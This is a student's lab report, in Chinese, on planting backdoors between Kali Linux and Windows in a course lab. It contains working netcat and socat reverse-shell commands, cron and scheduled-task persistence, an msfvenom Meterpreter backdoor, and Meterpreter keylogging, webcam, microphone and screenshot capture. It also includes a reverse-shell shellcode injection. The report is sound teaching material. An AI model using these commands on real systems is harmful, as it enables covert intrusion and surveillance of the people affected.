目录
-
实验原理
-
软件下载以及功能测试
-
实验内容
-
思考题
-
实验中遇到的问题及解决方法
-
实验体会
一、实验原理
(一)后门
1.概念:后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
2.主要分类:
-
- 网页后门
- 线程插入后门
- 扩展后门
- C/S后门
- roo kit
(二)常用后门工具
1.Netcat/Ncat/nc
是一个底层工具,又名nc,ncat,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
2.socat
是nc的增强版,是一个两个独立数据通道之间的双向数据传输的继电器。socat的基本功能就是建立两个双向的字节流,用来传输数据。数据通道包含文件、管道、设备等,主要特点是能在两个数据流之间建立通道,且支持众多协议和链接方式如ip, tcp, udp, ipv6等。
3.meterpreter
Meterpreter是Metasploit的默认Windows系统下的Shell Code。Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。
二、软件下载以及功能测试
(一)windows下载ncat和socat压缩包
- 从老师所给指导的附件里下载 Netcat 与 Socat 文件,在本机解压后放置到相应的文件夹。
- 老师上传的附件中netcat下载解压后运行程序闪退,重新自行从官网下载,官网下载链接https://eternallybored.org/misc/netcat/。
- 下载后被识别为木马病毒,选择将其找回并解压,将ncat.exe复制到administrator目录中。
- 再打开cmd可正常运行。
(二)Windows获得Linux的Shell
- 在Windows端cmd输入 ipconfig 查看本地主机ip地址:192.168.1.7
- 在windows端cmd中输入 nc -l -p 4321 打开监听(端口号为学号)。-l即监听。
- 弹出防火墙选择允许访问。
- 在Linux端输入nc 192.168.1.7 4321 -e /bin/sh 。-e执行shell程序。
- Windows端获得Linux的shell,可以输入shell指令:
(三)Linux获得Windows的shell
- Linux端输入 ip addr 查看kali Linux的ip地址
这里出现了问题,kali Linux的eth0网卡不见了,只有l0接口。我在网上搜了很多解决方法,但是都对我的kali没用,甚至差点重新安装kali,最后才解决了问题。解决方法在后面会详细写一写。
于是得到了Linux的ip地址:192.168.246.134(第二天重启继续的时候发现后面拍照那里出现了很多问题,实在没办法重来一遍的时候发现,ip地址它很神奇地变了。。。)后变为192.168.246.137。
- Linux端输入 nc -l -p 4321 打开监听。
- 在 Windows 中反弹连接到 linux 的 4321 端口:ncat.exe -e cmd.exe 192.168.246.134 4321
- 返回 kali linux,Linux就获得了windows的shell。在命令行界面,可以执行windows的命令,这里以 dir 为例。(因为第一次做的时候忘记了截图,后来又操作了一次补上截图。)
(四)Windows与Linux之间传输数据
- Windows端cmd输入nc.exe 192.168.246.134 4321 (linux的ip地址,端口号为学号)
- Linux端输入nc -l -p 4321 (在kali下监听4321端口)
- 连接成功后输入字符进行实验结果验证:
三、实验内容
(一)使用netcat获取主机操作shell,cron启动
crontab是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
- 在Linux下输入 crontab -e 添加cron任务区,选择编辑器3。
- 在最后一行添加 20 * * * * /bin/netcat 192.168.1.7 4321 -e /bin/sh ,然后 :wq 保存并退出。(表示每小时的第20分钟反向链接Windows主机的4321端口)。
- 时间到3:20之后在windows端进行验证:
(二)使用socat获取主机操作Shell, 任务计划启动
- 在Win主机键盘敲 Win+R 输入 compmgmt.msc 打开【计算机管理】。
- 单击【任务计划程序】文件夹下【任务计划程序库】,选择【创建任务】。
- 填写任务名【4321w】,新建触发器。
- 新建操作,在【程序或脚本】中选择【socat.exe】文件路径,添加参数一栏填写 tcp-listen:4321 exec:cmd.exe,pty,stderr (该命令的作用是把cmd绑定到4319端口,同时把cmd的stderr重定向到stdout上)
- 创建好后任务准备就绪
- 在20:35时弹出一个cmd窗口和防火墙设置,防火墙设置选择【允许访问】。
- 在linux端输入 socat - tcp:192.168.1.7:4321 (第一个参数-代表标准的输入输出,第二个代表流连接到 Win主机的 4321端口,此时socat已经成功获得了shell)。
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- Linux端输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.134 LPORT=4321 -f exe > 4321_backdoor.exe (linux ip)(在Linux中生成后门4321_backdoor.exe复制到win端)
- 文件管理器中可以看到后门程序已经生成
- 在Windows端cmd输入nc.exe -lv 4321 > 4321_backdoor.exe使被控主机进入接收文件模式,在Linux端输入nc 192.168.1.7 4321 < 4321_backdoor.exe (win主机ip)将生成的后门程序传送到主机上。
- 但是这里我遇到了文件无法传输问题,关掉了linux的防火墙、win10的防火墙、实时保护,卸载了杀毒软件,但还是无法传输。不停地重试了很多方法最后成功了。成功的后门程序是meter_backdoor。(详情见之后的问题及解决)
- 在Linux上使用msfconsole 进入msf控制台,输入下列命令:
use exploit/multi/handler //监听设置payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.246.137 //Linux端的IP地址 set LPORT 4321 //与之前输入的端口号一致 exploit //开始监听
- 在Windows端关闭命令行窗口,双击运行后门程序meter_backdoor.exe,返回Linux端之后发现获得Windows的shell。
(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取录音权限
获取录音权限并录制一段10s的音频: record_mic -d 10 录制完毕后可以看到保存路径,音频可以播放。
2.获取摄像头权限
获取摄像头权限拍摄: webcam_snap
拍得很快,需要提前做好准备。(这里遇到了很多问题,我以为和其他一些同学一样,是我电脑摄像头有问题,但并没有,最后成功了)
3.获取击键记录
获取击键权限得到击键记录: keyscan_start
读取击键记录: keyscan_dump
4. 获取截屏权限
获得截屏: screenshot
5.提权
查看当前用户: getuid
进行提权: getsystem (提权失败了,参考其他同学的博客和学长学姐的博客,都没有成功)
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(可选加分)
1.生成shellcode(具体步骤见实验一)
- 在https://www.exploit-db.com/shellcodes搜索并下载一个【linux/x86 - Reverse】的文件,用记事本打开查看里面的机器码。
- 打开终端1,关闭地址随机化,根据得到的机器码,构造input文件。
perl -e 'print "A" x 32;print"x1x2x3x4\x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode2
- 查看shellcode的地址。
- 由0xffffd2bc+4=0xffffd2c0得shellcode地址,修改生成input文件。
2.msf注入
- 打开终端2,输入打开msf控制台,输入以下内容:
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 exploit
(主机ip地址和端口号是从用记事本打开的下载的文件中得到的。)
- 在之前打开的终端1中输入 (cat input;cat) | ./pwn123 ,终端2中可以使用shell,证明反弹连接成功。
四、思考题
1.例举你能想到的一个后门进入到你系统中的可能方式?
从网页下载文件时,要求用下载器,进行捆绑下载。捆绑的文件中会含有后门程序。
2.例举你知道的后门如何启动起来(win及linux)的方式?
Windows:开机自启动
Linux:任务计划启动
3.Meterpreter有哪些给你印象深刻的功能?
Meterpreter能够控制摄像头拍照录像、记录击键内容等,完全实现了一种监控。
4.如何发现自己的系统有没有被安装后门?
通过杀毒软件定时对计算机进行病毒检测;查看计算机日志有没有可疑记录;及时修补检测出来的计算机系统漏洞。
五、实验中遇到的问题及解决方法
1.linux的eth0网卡不见了,只有ipv6,没有ipv4
法一: # vim /etc/sysconfig/network-scripts/ifcfg-eth 创建文件,然后保存退出。
(由于我的kali/etc中没有sysconfig文件夹,所以这种方法不可行,经上网查资料得sysconfig文件夹不是kali linux必需的)
法二: # vim /etc/network/interfaces
在该配置文件中添加
auto eth0 iface eth0 inet dhcp
再重启网络服务 /etc/init.d/networking restart 成功解决问题。
2.后门程序文件传输失败
在这里我失败了很多次,关掉了kali端的防火墙(又确定了很多次防火墙的状态),所有的查杀软件,也关掉了win端的防火墙、实时保护,然后还换了别的端口号重新实验了好多次,都不能传输。没办法我就重启了虚拟机和win10,从头把实验做了一遍, ip addr 的时候发现kali的ip地址变了···然后改变kali的ip地址,然后它就成功了···
3.MSF meterpreter获取摄像头权限失败
这里操作失败,看到有同学也是 Operation failed :731 ,他们的解释是主机摄像头坏掉了。但是我的电脑摄像头是完好的。然后我做完附加实验后回去又做,发现它又成功了。可能坚持就是胜利吧。
六、实验体会
这次实验真的是很艰难,可能是我在Ex0中安装的kali Linux和同学们的不是同样的kali,遇到的一些问题百度也解决不了,参考同学的博客也解决不了,但是重复n次就莫名其妙成功了。在这次实验之后我对于计划任务有了很大的认识,也通过本次实验简单地了解了后门原理,对后门的形成、植入、利用攻击等一系列过程有了初步的认识。被Meterpreter的强大功能所震撼,以后要时刻做好隐私保护,及时更新漏洞,更新杀毒软件,定期杀毒,防止自己的电脑也被控制。